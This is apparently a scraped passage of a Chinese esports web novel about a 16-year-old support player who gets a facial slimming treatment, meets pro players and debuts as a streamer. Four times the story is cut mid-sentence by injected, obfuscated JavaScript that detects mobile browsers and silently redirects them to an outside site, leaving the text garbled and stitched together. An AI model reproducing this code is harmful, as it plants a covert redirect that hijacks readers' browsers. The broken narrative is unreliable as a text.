AWA打满三把，遗憾告负。谈不上有战犯，因为大家的发挥都不太好。甚至第一把的时候她能很明显感觉到镜头里Foppish那鬼迷日眼的样子是没睡醒。也不知道他昨天到底几点才睡觉。 中途给到下路的镜头，也都让汤瑶看得直皱眉。她是真不太理解，明明私交还不错的两个人，比赛竟然没什么默契，很多失误都是及时沟通可以避免的才对。 不过这样也好，输了的话应该应该就没有心情再找自己了吧。 汤瑶一直都知道—— ZBai很早很早就有个官配女友，甚至是竞圈里难得口碑不错的嫂子。漂亮，低调，家境优渥，虽然也算半个不温不火的小网红，但不会把恋情当做流量分享出去。当年他夺冠，在台下为他挥舞旗帜的女方也留下了出圈神图。就是两个人分分合合，已经是竞圈的连载小说了。 现在的恋爱本来就严苛到分手之后必须守孝三年，不然就会被扣上所谓无缝衔接的帽子。如果说第一次她被蒙在鼓里，还能算得上“无辜”。那么现在掉马后的交往就是“罪无可恕”。毕竟感情不分先来后到，还分礼义廉耻。她这种不懂分寸的女人就算不被浸赛博猪笼也要被指指点点好一阵子。 可是她没办法拒绝真白，就算她很明白自己拿时候不过是他和富家女分分合合期间的消遣，可他给过自己的陪伴和价值都是真实的，是那样青春期生活里难得的一抹亮光。牙尖嘴利如她，也没办法很绝情的拒绝他胡搅蛮缠，只能把希望寄托在他能自觉。被忘记也好，被讨厌也好，总之就不要再联系自己最好。 虽然私生活剪不断理还乱，事业却风生水起起来。可能这就是所谓的情场失意，事业得意吧。她的比赛打得一帆风顺，亮眼的表现很快变成了商业价值，拿到了全队唯一一份直播合约，而且不是仅仅是一个直播间而已，而是作为头部AD选手SOVA在平台赛里的辅助作为首秀，有官方保证的礼物和热度保驾护航的那种。 得到这个消息，并且确定了只有自己之后，汤瑶兴奋了一整天没睡，熬到所有队友都去休息，自己摆弄摄像头调试参数。 她的五官是好看的，可惜并不高清的镜头很难体现肉眼能感受到的细节，还会让她只是有点肉的圆脸看起来像一张面饼。左看右看，不是被肉淹没的下颌，就是稍有不慎就显形的双下巴，简直让她抓狂。 她知道，她知道不一定有人看自己，她知道作为选手实力比外表重要的多。可是她更知道自己对自己的身材多么敏感，光是一条“坦克”的评论就能让她气到发抖，要是直播中途被她瞟到类似或者更恶毒的内容，她一定会崩溃的。 现在反思新生活太安逸让自己胖了六斤来不及了，减肥也没那么快见效…… 对了，还有个办法。 汤瑶先是用搜索，结果铺天盖地的广告让她晕头转向，于是转而在朋友圈求助：万能的朋友圈，懂医美的dd，有点事情想问qaq~ 元宝打游戏喜欢热闹，很久之前就自费创了个游戏群，她也因此在里面也认识很多天南地北的网友，其中不乏很多美丽时髦的姐姐，这个问题肯定有人回答。 很快就有人回复，结果聊了几句下来，要么只是好奇，要么也只是道听途说，问不出个所以然。 就在她自己做功课的时候，跳出来一条意想不到的新消息—— 【MIFA】：[截图] 【MIFA】：你要做什么项目？ 点开一看，S市某经常有明星光顾的知名美容院SVIP金卡，信息赫然是他本人。 元宝在屏幕前瞠目结舌，半天憋出一串省略号。 【MIFA】：0.0 【MIFA】：我误会了？ 汤瑶语无伦次，删删改改半天，把感慨憋了回去，简明扼要的问道：有什么快速瘦脸的项目？ 【MIFA】：超声炮 她立刻去搜索，简单查了一下，发现确实是自己想要的那种，于是非常感慨的给他回了个“6”。 【MIFA】：[可爱][可爱]你想做吗？刷我的卡。 ？？？ 汤瑶还没来得及胡乱揣测，很快有了下一句。 【MIFA】：实付款的基础我再给你打9折，再包你来回路费 【MIFA】：怎么样？ 嗐，想多了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326025|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 【姜汁汽水】：好。 【姜汁汽水】：我先去了解一下。 【MIFA】：你有什么不明白的问我呗。 【姜汁汽水】：……问不出来。 【MIFA】：好吧。 【MIFA】：[名片推送] 昵称是单独的字母D，头像是jellycat的流泪茄子。 【MIFA】：你问他，他给你说。 【姜汁汽水】：好，谢谢。 汤瑶全无察觉的发送了好友请求，还很贴心的在申请信息里备注了医美咨询。 对方很快同意的好友申请，然后发来好几个问号。 【D】：谁给你推的名片？？？？ 汤瑶字打到一半感觉不太对劲，点进了对方的朋友圈。结果三天可见还没有置顶，只有个性签名写着的是：全城来撞你，但最后，处处有险阻。 不知道是什么意思，但肯定不是医美客服吧。 汤瑶害怕极了，赶紧切回去问MIFA对方到底是谁。结果也不知道他干什么去了，半天也没再回消息。她一整个僵硬住了，不知道该不该跟这个陌生人出卖MIFA。 【D】：你是选手？ 很明显，对方也翻看了自己的朋友圈，看到了置顶里自己的定妆照。 汤瑶很快意识到了，既然对方认得出来，那就证明他和自己在同一个圈子。于是果断点开转账，看到了实名信息显示的是：**睿。 ……啊。 啊啊啊啊啊啊啊啊啊！！！ 这是Deserve啊！！！！！！！！ 汤瑶是把加上Deserve的联系方式当做自己的目标之一，可…可不能是这种方式方法吧！ 【姜汁汽水】：对不起对不起……是MIFA哥给我推的名片，他应该是推错了。真的对不起！！ 【D】：…… 【D】：未成年不要做医美，影响发育 【D】：谢回放什么屁都不要听，我会给他打电话的，你不要理他 还好徐知睿是个人气选手，网友把他的户开得明明白白，汤瑶只把他的ID和医美放到搜索栏，立刻就有了结果。她这才得知他的妈妈就是这个知名美容院的高管，终于懂了MIFA抽象行为的逻辑。 问题是现在MIFA突然不知所踪，她真的好无助，好无助！ 【姜汁汽水】：呃，不是的。 汤瑶只能硬着头皮解释，她没有被坑蒙拐骗，而是完全出于自己的意志。 【D】：。。。 【D】：你方便听语音吗？ 哈？这也要提前问吗？ 【姜汁汽水】：OK 【D】：[语音]你现在年纪还小，你怎么知道你的意志就是你的选择呢？为什么？你遭遇了Body shame？……（停顿）其实我多少也知道一点，女选手的舆论环境不好。但是，医美对你来说太早了，也治标不治本。嗯……我希望你慎重考虑。还有就是谢回不是关心你，甚至也不是好心，他就是想攒会员卡积分……（再次停顿）你也不是第一个被他哄晕的女孩子，他那卡的积分一大半都不是自己消费出来的，你懂我的意思吗？健康和钱都是自己的，好好珍惜自己。 20. 第 20 章 美容院的SVIP有特殊房间，装修和灯光都很高级，乍一看像是昂贵的酒店房间，就连躺下的床都是恒温加热的。汤瑶的脸上做了标记，涂满凝胶，像熨斗一样的高科技机器嗡鸣着在脸上推来推去。穿白大褂的医生姐姐很温柔，一边调整数值一边问痛不痛，同时温声细语的讲了很多注意事项，并且在要求下特别照顾了下颌线。 整个流程将近两个小时，比想象中要久，不过也不算难熬。 尤其做完之后汤瑶看着镜子里小了一圈的脸，更是觉得这一趟不虚此行。 “我们这个项目不仅仅是立竿见影，随着时间推移会越来越好，大概三个月左右会达到最佳效果。在平时注意饮食的情况下，一次可以保持一年哦。现在有些红肿胀痛是正常的，这边是赠送的修复敷料还有修复面膜。记得做好防晒保湿，不要吃辛辣刺激的食物，也要避免出汗比较多的活动~后续如果有什么问题或者不明白的，可以在VX或者直接打电话问我们~” “好，谢谢。”汤瑶稍微收了收表情，冲对方礼貌的笑笑。 没有多余的推销，医生将赠品和写着注意事项的单子一起装在袋子里递过来：“好啦。你是第一次来吧？还认识路吗？要不要我送你出去？” “不用了，我自己走就行了。”拐两个弯而已，她当然记得。 汤瑶原路返回，来到了贵宾休息室。S市永远不缺有钱人，即便是大型知名美容院，随便一项收费都贵到吓人，金主依然多到不行。房间里林林总总坐着一些人，有整张脸都充满硅胶感的年轻帅哥靓女，有用一条爱马仕腰带勒住宛如孕肚的男士，也有一些体型相对正常，但不是土就是丑的女娲边角料。视线扫了一圈，非常容易就看到了在角落里架着二郎腿，耳边的银色耳坠一闪一闪，整个人好看到完全不在一个图层的谢回。 “……我好了。”汤瑶能感觉到，自己走过去的时候背后多了好道目光。 谢回摘下耳机，一只手还在搓屏幕：“行。”他站了起来，又滑动了几下，关闭了软件，“走吧。”身上有柑橘香水混合烟草的味道。 他个子特别高，汤瑶要看他的脸需要很费劲的仰着头。她也不太好意思，看了两眼就收回视线了。倒是谢回打量起她的脸，观察了一会，点点头：“好像是感觉脸小了。嗯，怎么样？这个疼吗？” “前面没感觉，后面有点疼，不过我感觉还行。”汤瑶想了想，补充道，“对了，你别跟Deserve聊，他之前劝我别做医美来着，我还答应他了。” “哈哈哈哈啊？我说那天他怎么给我打了几个电话，我拨回去又说没事。他劝你不要做医美吗？” 汤瑶拨了下头发：“昂，是啊，他说了好多，气氛到那里了，我不答应太不合适了。不过也就是敷衍下啦，他又不了解我，我跟他也不熟，也没什么解释的必要，糊弄糊弄就行。” 提起Deserve，谢回也有很多话说：“他就是站着说话不腰疼！我就这么说，我长这么大，徐知睿绝对我见过的最茶的strong男……不不，他是第二。不，不，他并列！他真的超~~级~~~贱！！我今年年初的时候我们队春季赛成绩不好，我压力暴大，一直长痘，然后我问他怎么办。你知道他说什么吗？” “昂？” “他说他不知道，他从来不长痘！” “哈哈……” “我知道他妈妈是做医美的嘛，我就又问他做什么项目保养。然后他说他什么都不做，还说最好的美容项目是重新投胎。这是人话吗？这是人话吗？？他贱死得了！” “啊？他私下里这么活泼吗？”汤瑶听得饶有兴致，“我看他直播的时候都不怎么说话，战队VLOG里也都挺安静的。” “这应该不是活泼吧？这不是纯贱人吗！他装得很，平时组局喊他，他都不来。问在干嘛就说在打麻将。然后有次我真的打麻将三缺一喊他，他还是不来。他说他打不来川麻。太高贵了沪爷，求他请他他都不带动一下的。” 谢回的话密嘴又碎，叽里呱啦说了一大通，刷卡的时候安静了十几秒。两人出去之后，又自顾自开始了话题，“我想想，我好像就叫动过他两次。一次是喊他陪我给孟麒选礼物，一次是让他帮我给孟麒买花。反正就很难搞这个人，没点正当的理由，只是喊他来玩什么的，根本没门。” 汤瑶哽了一下，突然意识到了什么：“你说的第一茶的strong哥，该不会是黑崎一泽吧？” 谢回很惊讶：“诶？你怎么猜到的？” “呃，因为……”毒唯只对真嫂子破防。 汤瑶觉得有点不可思议，摸摸鼻子，试探的问起：“Deserve和L…西瓦姐姐很熟吗？” “完全不熟啊，好像联系方式都没加过。”谢回还补充道，“何止是不熟，孟麒还挺讨厌他的。” “讨厌吗？”汤瑶更意味深长了，“多讨厌？真的假的？” “真的啊。你是不是不怎么看赛事论坛啊，这俩人天天被网友拉踩，粉丝掐得可厉害了。孟麒好胜心又强，每次输DQ得两天吃不好睡不着，感觉她一想起来他就气得牙痒痒。” “这么~~恨~吗？”汤瑶搅着手指，大胆暴言，“那有点好磕了。” 谢回拧起眉头，十分不解：“真是搞不懂你们这些女生的脑回路，看见什么都要凑一对儿。”他完全没放在心上，“我之前还在B站看过伏地魔和林黛玉，你敢信？” “……昂，随便说说。我跟他们又不熟。”汤瑶也没真当回事。 “你之前不是加了孟麒吗，你们平时不聊天？”谢回就是这样，三句话离不开自己的白月光。 “加了就要聊天吗？”汤瑶摆正了一下防晒帽，又把勾到头发的口罩绳重新捋了下，“我也没跟你说过话啊。” “我俩肯定不一样。你跟她都是女生，又都是选手，不应该有很多共同话题吗？而且你遇到什么不懂的，不管是游戏里还是战队里的，也都可以问她啊。她人很好的，对女生也都特别耐心温柔。唉……我要是女生，也不至于天天热脸贴她冷屁股了。” “呵呵，哦。”汤瑶在口罩下冷笑，她不想继续这个话题，话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326026|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锋一转道，“你是不是从来没追过女生啊？你谈过恋爱没？” “我谈过啊，不过最长的也就是网恋，差不多四五个月。追倒是确实没追过。”谢回属于是没什么心眼的那种人，问什么就说，甚至回答时很得意，“小妹妹，哥幼儿园的时候就被班上的女生排着队拿玩具等着亲了。我上学的时候作业基本上没自己写过，初中有个女生还专门学了第二种笔记怕帮我抄的时候被老师发现。每年那种学校不放假的节，哪怕是愚人节，我桌子里都全是礼物情书。” “我第一次跟朋友去酒吧，就有个大我十几岁的姐姐给我转了五千二，本来想让我陪他喝酒，后来知道我年纪很小，就只是让我在她旁边坐了一会儿。很多，还有那种为了想跟我吃饭，直接把车钥匙给我，要么说给我在哪哪买套公寓。还有的过年的时候开车找我，后座全都是成捆的人民币，说什么让我装一下她男朋友，随便我拿，拿走多少算多少。” “我做陪玩的时候都不露脸，照样有老板天天给我早晚转520，为了让我挂名给店里充了好几十万。知道我喜欢潮牌，想送我又怕我不收，拐弯抹角寄给我们店客服再偷偷寄给我。我现在不接单了，之前的好多老板也不联系，但是还是会来我直播间给我刷礼物，我也懒得谢，不过她们也不在乎。感觉她们就是喜欢为我花钱的那种感觉，嘻嘻。” “就这么说吧，哥这辈子没在女人身上吃过苦。”他顿了顿，开始叹气，“除了孟麒。” 汤瑶嫉妒得都要变形了：“不是哥们，你来钱那么容易？我之前想做陪玩，就5块钱一把，结果游戏刚开始就开黄腔，我直接退了。他还举报我，害得号被封了一天。我俩是在一个世界吗？”她捏紧拳头，感慨道，“这个世界也太爱男人了吧！” 谢回贱兮兮的：“有没有可能是爱帅哥？” “你不会以为美女就能和你一样在夜店里坐五分就有钱拿吧？不管你五块钱的女陪还是五百块的女陪都会被性骚扰的。更不会有男人在过年的时候拿着成捆的钱找喜欢的女生，只为了跟她搞假扮男女朋友这种纯爱桥段的！” 汤瑶指了指自己有些泛红的脸颊，“比我胖比我丑的选手大有人在，没我分高没我成绩好的辅助也不在少数，可因为我是女选手，所以我会被追着喊胖子，被发帖子说是坦克。你根本就不知道你的生活有多幸福……你幸福到只是没有被喜欢的女生喜欢就痛苦了，你真的好可恶。” 谢回懵懵的：“那……对不起？” “算了，对不起。”汤瑶很快冷静下来，随便找了个理由，“我就是仇富了，理解一下，我是穷鬼。瞎说的。” “喔喔，没事没事。”大大咧咧也有大大咧咧的好处，好话歹话都不放在心上，相处起来确实很轻松。谢回完全不在意，“没关系的，现在女选手机会多，等你上LPL待遇就好了。要不然我再给你打点折，八五吧，我再退点给你。” “……那还能包我车费吗？” “包啊，请你吃饭都行。” “吃饭就算了。”汤瑶举起收款码，“扫这里，谢谢。” 21. 第 21 章 对于直播首秀，汤瑶花了很多心思准备。不仅花了大价钱做了医美，也打听了参加娱乐赛的具体人员，每天训练赛后还找时间看直播和录屏研究对手。 这次娱乐赛和她对线的下路选手强度不低，辅助是退役选手，绝活锤石，AD则是多年的高分路人王，一手卡莉斯塔出神入化。但两人没什么私交，对于娱乐赛也不重视，没有提前准备，不会有默契。 汤瑶一向认为下路的对抗从来就不是将简单粗暴双人组的能力相加，最后比数值大小的游戏。默契和配合比能力要重要得多得多。明明这么多年来，通过选手的排列组合，拼凑出很多种纸面实力强劲的双人组，结果却都不尽如人意。可她不明白，那么多失败的案例摆在前，战队还是对于组“银河战舰”乐此不疲。 就算强如SOVA，离开了当年陪他连续征战两届的御用辅助之后，这些年浮浮沉沉，说白了也全在靠出众的个人能力和比赛经验在硬抗。常规赛还行，一旦去到强度更高的比赛，或者更有默契的双人组，差距就很明显了。 远的不说，光是从夏季赛常规赛的表现来看，在SOVA和现在的辅助磨合好之前，别说什么再创辉煌，现在他们常规赛排名第四，等季后赛打完，还是不是第四都说不好。 不过这都跟没有主队的汤瑶没关系，她只希望就算要备战季后赛，SOVA也不要对直播的娱乐赛太敷衍，毕竟如果一点儿对抗性都没有，自己就没有表现的机会了。 时间很快到了开播那天，基地里的队员都在照常RANK，经理也仅仅是过来帮她调试一下设备，确定直播间一切正常之后就走了。只有Shark在排队间隙给她刷了个礼物，还把她的直播间分享到了自己的粉丝群里。 陆陆续续倒是来了一些粉丝，不过在等平台的主持调度，直播间没有内容也没有摄像头，更没有他们想看的Shark，所以没呆多久就走了。 好在头部选手的时间很宝贵，主持人也没有浪费太久，口播很快，只是抽奖热场还需要一定时间。这次的娱乐赛是和平台合作的某语音软件硬广，流程就是两队有平台合约的主播和选手们打BO3，输了给观众发福利，赢了给观众发更多福利，从而达到引流的目的。 按理来说这种活动怎么也轮不到一个毫无名气的青训选手。但时代变了，隔壁海鲜直播签了QY全队，双子星的热度全网都望尘莫及。汤瑶就是松鼠平台想要创造竞品，大批量下注的分子之一，除了她之外，还有很多女主播都多多少少得到了扶持，她相对而言成绩不错，有一定潜力的正式选手，所以资源相对要更好一些。 人一紧张就容易走神，等汤瑶听到频道里的声音时，主持人已经喊好几遍了。 她迅速进到房间，根据指示找到了自己的位置，同时也被挪到了单独的小队语音频道。上中野同样是平台主播，只有打野的人气高一些，中上没什么水花。当然，大家都关了麦，在各自直播间和弹幕互动。她在SOVA的直播间蹲着，不出意外看到了想要了内容—— 「有妹妹吗？」 「刚刚说话的女声是谁刚刚说话的女声是谁刚刚说话的女声是谁」 在好奇心旺盛的网友刷屏下，SOVA也是很快注意到并给了解答：“刚刚说话的是我这次的辅助呀。是个青训的选手……对，LDL的。对，正儿八经的选手。”他直播经验丰富，带新人更是信手拈来，“喂？”他说着就打开频道麦，“姜姜你能听到吗？我这面水友都在问你，你做个自我介绍呗。” 汤瑶紧张得点了两下话筒键，喂了一声发现不对，又点了一下：“能听见。”她感觉自己声音有点抖，只好放低了一些，“我是CEE二队的辅助，Ginger。” “……” “……” “……没了吗？”SOVA问。 “啊…？”汤瑶呃了声，“我、我不知道说什么了。” “哈哈哈没事，没关系，你今天刚刚开播吧，有点害羞很正常。”SOVA的直播间的弹幕很乱，有夸声音好听的，有还没搞清状况打问号的，也有一些格外嘴臭的污言秽语夹杂其中。他过滤到不友善内容，若无其事道，“确实讲话很甜啊，你们有感情兴趣的可以去给她点点关注。有什么也可以直接去问她。” 大主播发话，汤瑶这面的直播间瞬间涌入了不少看热闹的水友。杂七杂八的弹幕应接不暇，她看得有点眼花，还没来得及找几个能回答的问题回答，人已经到期，进入游戏了。她简直松了口气，理直气壮的弹幕插件缩到最小：“稍等一下大家，先打游戏吧。” 频道里的队友们开始激烈讨论BP，SOVA说道：“BAN锤石BAN锤石！” 眼看着锤石的头像亮起，她连忙扯过麦克风：“不！不用BAN不用BAN！” “啊？”“啊？？” 队友异口同声，中单又说道，“没事啊妹妹，我们不用BAN位的，可以帮你把钩子都BAN了。” “不要不要不要。”汤瑶说，“给他们锤石好了，我可以打。” “啊……”SOVA的AD本能让他想要拒绝，转念一想，觉得还是算了。本来就是娱乐赛，还是女生，没必要较真。他都出道这么多年了，再也不是从前那个辅助K了一个头就直接挂机的红温小子了。他笑了两声，“行吧行吧，你随便玩。” 既然SOVA同意了，大家也就没有再客气，各自提出了不想看见的英雄的。 出乎所有观众意料的，5个BAN位都没给到辅助。 汤瑶也没卖关子，到自己了就直接选了机器人。像锤石这种几乎全能万金油，全看操作，几乎没有天敌。一定要说，就是怕比它还要强势的节奏发动机。当然，这只是理论上的石头剪刀布，具体还要看使用者的发挥。 “哟。绝活吗？”SOVA其实对这个年轻辅助并不了解，调侃道，“女孩子玩机器人还挺少见的。” “不是绝活。”汤瑶关了弹幕，把SOVA当做路人局随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326027|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机匹配到的高分AD，调整了一下心态，与其也就自然多了，“随便玩一下，我们不是娱乐赛嘛？” “啊……？啊，好吧。哈哈，没事没事。” SOVA是个非常典型的进攻型AD，攻击欲望爆表。非常喜欢操作，对自己有百分百自信。所以他对辅助的要求是对线能力强，最好不要游走，最好在对线期鞠躬尽瘁，尽可能拿到最多的优势，让他尽快拥有接管比赛的能力。 所以机器人还算符合他的口味，但前提得是会玩。如果强开硬辅的技能中不了，那就连超级兵都不如了。 汤瑶当然听得出他语气里的尴尬，笑笑当做没听见。 游戏很快开始，快速出门，队友客气的商量了一下，最后决定不打团，所以摆一字长蛇阵站位。时间差不多了就回到线上。汤瑶故意用很笨的走位直直的越过兵线进草，转了几个圈，露出了半个身子开始Ctrl+F4。 SOVA那边叹气连连，又不好说什么，几次开麦最后都憋了回去。 “算了算了，她都说了是随便玩。”他安抚着全是问号的弹幕，“娱乐赛，打得太认真反而没意思。没……卧槽，好钩！哎哟我麦没开，好钩……能杀的，挡一下，啊对，对……好钩啊！nice！” 原本还在说着话，结果机器人就这么当着对面两个人的面出钩，精准拉回了对面走位不当心的卡莉斯塔。锤石虽然憋了一会儿，及时学了W，但被眼和机器人的肉身挡住。点燃一挂，配合卢锡安前提的高伤害，轻松拿下一血。 SOVA赶紧开了语音频道：“厉害厉害！好钩啊！我刚没开麦，还以为给他们救走了。” “不会的。现在锤石一级还学W，更不好对线啦。” 她嘴上谦虚，下手却很重。如果说第一勾抓住了对方轻敌，那么第二钩就是比较经典的公式了，配合小兵去质器，利用兵线空隙精准出爪，再次勾出对面关键技能。连中两个关键钩，对面显然有些红温了，走位也就更好预测了。 虽然锤石是各方面都被设计得更完美的英雄，使用者也是绝活，但在这一局游戏里，她有等级和装备的优势，并且因为了解SOVA，所以对拼的时候只进不退，就算丝血也会挡技能给他最大的操作空间。即便是第一次走下，两人却默契的像是配合良久，以谁有没有预料到的速度直接通关了下路。 SOVA一开始还手动开关麦，到后来就自由麦了，对她赞不绝口。 汤瑶反而关了麦，啧啧感慨不已。 她和野生AD玩的时候就经常这样扮猪吃老虎。先示弱一番，卖个萌撒个脚，无限降低对方期待，再正常发挥，亮瞎对方的狗眼。往往这样总会给AD留下深刻的印象，再不济也能听到各种花式彩虹屁和那种完全出自本能的赞叹。 毕竟玩游戏嘛，图得不就是一声声夸奖吗！ SOVA也不过如此嘛。即便强如他，依然和所有ADC公用一套底层逻辑。哄他跟哄任何一个AD都一样，没区别。 22. 第 22 章 这场娱乐赛最大咖的就是SOVA，不止是汤瑶，每个人都存了好好表现的心思，对面也一样。只是对面的双人组没想到没听说过的妹辅居然是个硬茬，第一把过于轻敌，被打得溃不成军，弹幕还在疯狂嘲讽拱火，虽然嘴上不说，其实都红了温。两人一边嘴硬说上把不算，一边摩拳擦掌准备第二把，打起十二分的精神想要一雪前耻。 然而汤瑶怎么会不理解这些男人恼羞成怒的二阶段。其实第一把足够亮眼，后面的发挥即便不够好也不要紧，因为失败就是会被永远钉在耻辱柱上。不过她没想放过他们，第二把出其不意选了相较冷门的婕拉，并且大言不惭的表示：只要有她在，任何一个队友都不会吃勾。 SOVA的经验丰富，配合硬辅能迅速跟上打伤害，配合法辅时也很懂得偷A，同时走位风骚，并不需要汤瑶怎么操心，在对线期吃不到技能。第二把对面也谨慎了很多，没有被拉开太大差距。等转线来中期，围绕着刷新的资源才会有争夺和摩擦。 双方的发育不相上下，这个时候就得看开团英雄了。作为锤石，当然当仁不让。只是绝活哥怎么也没想到，他能想到的时机，对面也想得到，就算是开着扫描走到视野盲区，钩子甩出去之后还是能被花挡住。 一而再，再而三，他彻底破防，拍着桌子大叫：“没道理！真的没道理啊！”他指着屏幕跟弹幕，跟队友说，“我开着扫进去，他们都不知道我在，为什么能勾到，这不对吧？肯定窥屏了吧！” 结果队友说道：“你不是一直都有30s延迟吗？人家坐在你身后看的吗？” 绝活哥噎了噎，换个说法：“那就是开了。” 队友都有点无奈：“人家又不是主播，是青训队员，打个娱乐赛在基地里开挂是吧？” 眼看着两人针锋相对，其他队友连忙打起圆场。无非就是友谊第一，比赛第二，只是没有认真罢了，没必要这么较真。毕竟输都输了，要是连风度都没有，那可就太难看了。 也不怪绝活哥惊讶，就连SOVA也震惊，打完团就在问：“那个没视野的钩你是怎么挡住的？” “嗯，旁边是没有视野，但是知道他来了呀。水龙他们肯定要争的，所以我知道锤石肯定会找机会。而且虽然出钩的地方没视野，但是就那一块是黑的呀~大概是从那里出钩，都猜得到。” “但就算知道是哪边，那……还是有点离谱了吧，兄弟你……哦不是，姐妹你这……该不会是纯看反应吧？” “差不多吧，就是心理有个准备知道他要出钩，种子会提前放那边，然后看到了就种，花的判定比人优先，其实还是比较好挡的。” “嘶，纯眼睛看吗？” “是啊。”汤瑶说，“锤石的钩不难吧，其实泰坦和机器人的才更不好挡。机器人的钩快，泰塔的钩子判定很奇怪，还跟皮肤有关。” “……我的妈呀，这就是年轻人吗？你几岁了？有没有LPL的队伍联系你？” “啊，没有啊哈哈……我当选手还没半年呢。而且我16，没办法上联赛耶。” “啊16岁……唉，真年轻啊。”SOVA都23了，听到这个年纪也叹气一声，开始追忆往昔，“年轻就是好啊。说实话我16岁的时候我通宵两天都不可能吃钩，一波团下来AOE都刮不到我一下，现在不行了，现在老了。唉，年轻……年轻真好。” 第二把也很快结束了，SOVA这边二比一。其实娱乐赛的结果并不重要，说白了就是变着花样给水友发福利。结束之后的主播们都关了麦做抽奖，汤瑶一看没什么事了，就提前走了。她推掉语音频道，松了口气，重新打开弹幕，惊讶的发现就算比赛结束了还是有一部分留在了这里。 她整理了一下心情，和弹幕互动起来。 虽然不少弹幕都带着恶意，有素质低下而不自知的，把冒犯当幽默，也有就是隔壁主播的脑残粉过来挑事，对她进行人身攻击和侮辱的。但友善的更多，各种各样的夸奖让她无比满足，连语气都带着飘飘然的甜味：“嗯呢，谢谢大家。我是第一次直播，也不是太会……但是说今天要播四个小时以上，现在还有点时间，我打排位吧。” 她换了新号，加上打正赛之后需要打训练赛，现在也才三百多分。这是个不上不下的分段，高峰时段比较正常，碰到人少的时候就会被塞到高分局。不过目前为止，她还没有打出过什么让OB或者选手记忆深刻的局。 汤瑶刚刚登上韩服号，就在弹幕的催促下打开了摄像头。自己的形象被实时投送到网络，被许多陌生人观看，不由得又紧张起来。好在弹幕对于她的样子很满意，铺天盖地的夸奖让她暗自松了口气。她正要排队，又被经理提醒感谢礼物，于是折腾半天找到了收礼记录，老老实实地把付费礼物都感谢了一遍。送礼的人不多，没有花多久。 正当她以为结束了，却发现礼物栏跳动了一下，出现了一栏让她非常震惊的信息： AWA.Zbai 送出藏宝图x1。 ……这，这，他也在看吗？ 汤瑶莫名觉得很尴尬，耳朵都开始发烫。愣了两秒，突然意识到摄像头打开着，连忙清了清嗓子，念道：“谢、谢谢AWA.ZBai送的藏宝图。”按理来说应该对前辈客气几句，但她实在抹不开嘴，“嗯，谢谢谢谢……这个礼物是不是很贵啊？” 说话的功夫，礼物又更新了好几条，她立刻念了，正好可以带过话题。 Fopp1shOVO 送出高能弹幕 x5 Fopp1shOVO 送出告白气球 x2 ？？？ 这，这两人干嘛啊！汤瑶现在后悔刚刚开摄像头了，现在瞪眼珠子都不敢太用力。她实在不知道摆什么表情，愣了一会儿，无奈的笑了，感谢了之后又说：“谢谢前辈来捧场，不用送这么贵重的礼物……” 她挠挠头，不经意瞥了一眼礼物栏，再次呆住：“感、感谢任卢哥送的三个飞机……”这下她是真不知道什么情况了，不过这个还好，她有话聊，“任卢哥是还记得我吗？我的锤石是不是也很厉害~嘿嘿。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326028|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> Big鲨送出火箭一号 x1 Big鲨送出粉丝灯票 x 666 这个ID……汤瑶一扭头，看到身边的某人正在狂戳手机，忍不住凑过去一看，发现他还在狂点荧光棒。她顿时哭笑不得，推了他一下：“你干嘛啊，有毛病！你礼干什么，钱多了可以直接转给我啊。” “你别管，我刷点存在感。”Shark哼了声，“等下，IOS充值太亏了，我找了代充还没到账。” 汤瑶掐了他一下，怒道：“神经病啊啊你别送了！”不好让摄像头空太久，才又回去。因为好几个现役选手的现身，让弹幕量暴增了十几倍，转得她几乎都看不清。手动拖了一下，发现几个选手都很自来熟的在直播间里说话，好像也不需要自己。 她抽空喝了口水，一抬头，差点被呛个半死。 “妈呀，SO…SOVA，呃，感谢SOVA送的两个火箭一号。”汤瑶是真晕了，“能跟你走下已经很开心了，真的不要送礼了，我没钱我还不起你们啊啊啊！！ “诶？感……感谢这个麻薯大王的两个飞机。这个ID，是不是YSG的AD Bless啊……是Bless哥吗？还真是……我的妈呀，什么情况？” 